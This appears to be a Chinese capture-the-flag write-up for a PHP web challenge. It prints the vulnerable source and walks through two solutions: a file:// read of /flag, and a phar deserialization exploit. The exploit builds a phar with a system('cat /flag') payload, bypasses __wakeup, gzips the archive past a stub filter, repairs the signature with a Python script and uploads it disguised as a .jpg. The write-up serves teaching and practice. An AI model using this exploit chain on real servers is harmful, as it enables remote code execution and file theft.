1.打开环境,审计代码。
1.非预期解
直接用file伪协议读取flag,或直接读取flag
file:///flag
/flag
2.正常解
要复杂的多。
可以用读取文件读取index.php,upload.php的源码。
index.php:
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}
upload.php:
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>
index.php中只需要绕过_wakeup魔术方法就行了,可以考虑增加自然属性个数或增加属性个数来绕过,因为upload.php会检查stub,所以压缩文件成zip(注意要用winhex改变属性个数,不然签名会改变),用phar://伪协议来读取文件。
phar压缩:
<?php
ini_set("phar.readonly","Off");
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="Misc";
$this->dky="Re";
$this->cmd="system('cat /flag');";
}
}
$a = new LoveNss();
$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
#注意要手动将php.ini中的phar.readonly改成Off
提交发现文件没有运行,所以考虑可能是压缩文件格式的问题。
用linux命令gzip压缩成gz:
cd 工作目录
gzip aa.phar
得到aa.phar.gz,改文件名为1.jpg上交,用phar读取发现签名损坏,所以要进行签名修复,phar由data,data签名(20位),和签名格式(8位)组成。
修复脚本:
from hashlib import sha1
import gzip
file = open(r'C:\networkSafe\phpstudy_pro\WWW\aa.phar', 'rb').read()
data = file[:-28] # 获取需要签名的数据
# data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup
final = file[-8:] # 获取最后8位GBMB标识和签名类型
newfile = data + sha1(data).digest() + final # 数据 + 签名 + 类型 + GBMB
open(r'C:\networkSafe\phpstudy_pro\WWW\new.phar', 'wb').write(newfile) # 写入到新的phar文件
newf = gzip.compress(newfile)
with open(r'C:\networkSafe\phpstudy_pro\WWW\2.jpg', 'wb') as file: #更改文件后缀
file.write(newf)
最后上交修改后的2.jpg得到flag。